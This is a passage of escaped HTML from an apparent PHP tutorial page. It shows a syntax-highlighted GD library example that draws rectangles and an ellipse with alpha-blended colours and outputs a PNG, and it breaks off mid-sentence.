&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3ba5d462-124d-471d-8147-7d50457aa40b&quot; id=&quot;41a26e05-521c-471f-885b-8bbc8b5610b7&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3ba5d462-124d-471d-8147-7d50457aa40b&quot; id=&quot;ba4a4f4d-447b-46f8-a421-5b8278b54fb6&quot;&gt;(&lt;/span&gt;$im&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3ba5d462-124d-471d-8147-7d50457aa40b&quot; id=&quot;1fff194e-15de-4e69-a44f-8adc2ecf80ae&quot;&gt;,&lt;/span&gt;100,200,400,300&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3ba5d462-124d-471d-8147-7d50457aa40b&quot; id=&quot;0f0dec87-b535-4df8-816f-9fa840d63529&quot;&gt;,&lt;/span&gt;$col);
Header&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;78690cae-fd7c-48a0-8ec7-e1deac946572&quot; id=&quot;0d75991c-9a62-4b94-b9a9-f1d806abd202&quot;&gt;(&lt;/span&gt;&#39;Content-Type: image/png&#39;);
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;93aa48c2-7e98-4468-8cec-1087a230ae10&quot; id=&quot;054218f6-fea8-4172-830e-96c095d490eb&quot;&gt;ImagePNG&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;93aa48c2-7e98-4468-8cec-1087a230ae10&quot; id=&quot;3744d03e-ed17-490b-ae7f-ad9e5d0266c5&quot;&gt;(&lt;/span&gt;$im);
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-3&quot;&gt;
3&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-4&quot;&gt;
4&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-5&quot;&gt;
5&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-6&quot;&gt;
6&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-7&quot;&gt;
7&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-8&quot;&gt;
8&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-9&quot;&gt;
9&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-10&quot;&gt;
10&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-11&quot;&gt;
11&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-12&quot;&gt;
12&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-13&quot;&gt;
13&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-14&quot;&gt;
14&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0613213e97-15&quot;&gt;
15&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0613213e97-16&quot;&gt;
16&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d7861b8f-b6bc-4a92-af33-fc746dddb81d&quot; id=&quot;9ff46227-cf08-47d0-b2e1-f2d750dba20a&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;d7861b8f-b6bc-4a92-af33-fc746dddb81d&quot; id=&quot;98da13f9-926b-4e5a-ac8f-ac3e0666d259&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-2&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageCreateTruecolor&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;62349e0d-9548-4090-bc36-bf61b4ce9b04&quot; id=&quot;3f9483a0-eca9-48e0-81a2-be7096ed8100&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-3&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$white&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9cb61087-b9a5-4a6f-99f2-48a11cc18dc0&quot; id=&quot;53061de4-422c-4c8f-96e9-c72d26c5fa4a&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9cb61087-b9a5-4a6f-99f2-48a11cc18dc0&quot; id=&quot;5da58bee-d2d5-4fa0-8502-8bd468976d41&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-4&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e194d83d-5e18-4ee9-ba44-10522d9ac956&quot; id=&quot;b4a65097-b0d5-41ae-9ba3-860b076317ac&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e194d83d-5e18-4ee9-ba44-10522d9ac956&quot; id=&quot;926bf0bb-0848-493f-8f2b-339b148e3fae&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e194d83d-5e18-4ee9-ba44-10522d9ac956&quot; id=&quot;b42ec59c-b754-43d2-98f2-7450f6742eae&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;399&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;299&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;e194d83d-5e18-4ee9-ba44-10522d9ac956&quot; id=&quot;ec215f6c-4d51-47d6-9abf-14fd7e21d65f&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$white&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-5&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$black&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorAllocate&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;920033cc-4d98-436f-b5ee-c4a56ae6c033&quot; id=&quot;2e4e0e69-e81b-495d-a98a-9bb0ebd47092&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;920033cc-4d98-436f-b5ee-c4a56ae6c033&quot; id=&quot;e3c63562-7092-4561-98e3-6ca15a388323&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-6&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;af80dd16-482d-4b34-9693-78166f95e3b9&quot; id=&quot;40928274-8f92-4a9a-af6b-6f5eef37ddb9&quot;&gt;ImageFilledEllipse&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;af80dd16-482d-4b34-9693-78166f95e3b9&quot; id=&quot;e2967066-bd1a-4e5a-b8f6-1c26ba69492a&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;af80dd16-482d-4b34-9693-78166f95e3b9&quot; id=&quot;a9248684-7f6d-48da-9224-ad5461b66dee&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;150&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;af80dd16-482d-4b34-9693-78166f95e3b9&quot; id=&quot;834a6935-10e8-4d7a-93fd-4edf1c789ce5&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$black&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-7&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a61925e9-72db-4962-95e3-0e5f376ff7fb&quot; id=&quot;856207d4-4d41-42b6-9e24-878236b760c7&quot;&gt;ImageAlphaBlending&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a61925e9-72db-4962-95e3-0e5f376ff7fb&quot; id=&quot;4c4eabbd-e768-4e35-80e7-ac5cfd88c1f3&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a61925e9-72db-4962-95e3-0e5f376ff7fb&quot; id=&quot;f72b737c-632f-486c-9b7d-d75899abbc0a&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-t&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-8&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorResolveAlpha&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x11&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x11&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x60&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-9&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5551d728-a955-405e-9b37-60e51f22fbe5&quot; id=&quot;e1441160-e7f6-42e6-a009-03182da74d15&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5551d728-a955-405e-9b37-60e51f22fbe5&quot; id=&quot;30df65d2-879b-4793-8403-33aba07e74be&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5551d728-a955-405e-9b37-60e51f22fbe5&quot; id=&quot;07bdcf30-a47a-4a66-8427-f1cc7d1e058b&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5551d728-a955-405e-9b37-60e51f22fbe5&quot; id=&quot;7649e65e-05d0-45ef-9832-50da73f92d43&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-10&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorResolveAlpha&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x11&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x11&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-11&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c4d49cb7-b778-49d8-a4ef-904269c38bb1&quot; id=&quot;66e7c048-27de-4509-9c83-dc6f9075d768&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c4d49cb7-b778-49d8-a4ef-904269c38bb1&quot; id=&quot;9d861ac0-000e-4d10-98af-f513c6df78a1&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c4d49cb7-b778-49d8-a4ef-904269c38bb1&quot; id=&quot;f86dd62f-b6d0-488e-b441-82588a881bb1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c4d49cb7-b778-49d8-a4ef-904269c38bb1&quot; id=&quot;64c9402d-cda8-441e-ac8f-7cc2da376f2f&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-12&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;ImageColorResolveAlpha&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x11&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x11&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-13&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;61956033-934e-4f31-b9cd-f497a631363f&quot; id=&quot;b0e527d3-0d1e-41a0-a6a8-c4cea6b646c8&quot;&gt;ImageFilledRectangle&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;61956033-934e-4f31-b9cd-f497a631363f&quot; id=&quot;2ee5dc22-233c-4aab-b5a0-bc51bccfb342&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;61956033-934e-4f31-b9cd-f497a631363f&quot; id=&quot;04fc76c9-f773-4a95-80b1-adef82222064&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;400&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;61956033-934e-4f31-b9cd-f497a631363f&quot; id=&quot;aaa82957-bd32-4376-9682-5bb3d44324d6&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$col&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-14&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;Header&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;6f9e7446-5271-432c-93ff-a4ca1da1653a&quot; id=&quot;dd33c887-199c-4098-a84d-d21680d07f28&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;Content-Type: image/png&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0613213e97-15&quot;&gt;
&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a7416ea0-0b2d-4284-aa88-f70499227b96&quot; id=&quot;093eebcd-2979-40f8-a654-bcad57b632c8&quot;&gt;ImagePNG&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a7416ea0-0b2d-4284-aa88-f70499227b96&quot; id=&quot;fc91fe01-77c8-4949-91e2-a8cb1668d0ca&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$im&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0613213e97-16&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
Given the nature of the way &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;a713c8d9-0790-40e3-b3cd-60f8fdb6ff0a&quot; id=&quot;a7099b5b-efe9-4b31-977b-d0935842497d&quot;&gt;truecolor&lt;/span&gt; colors are constructed, we can 
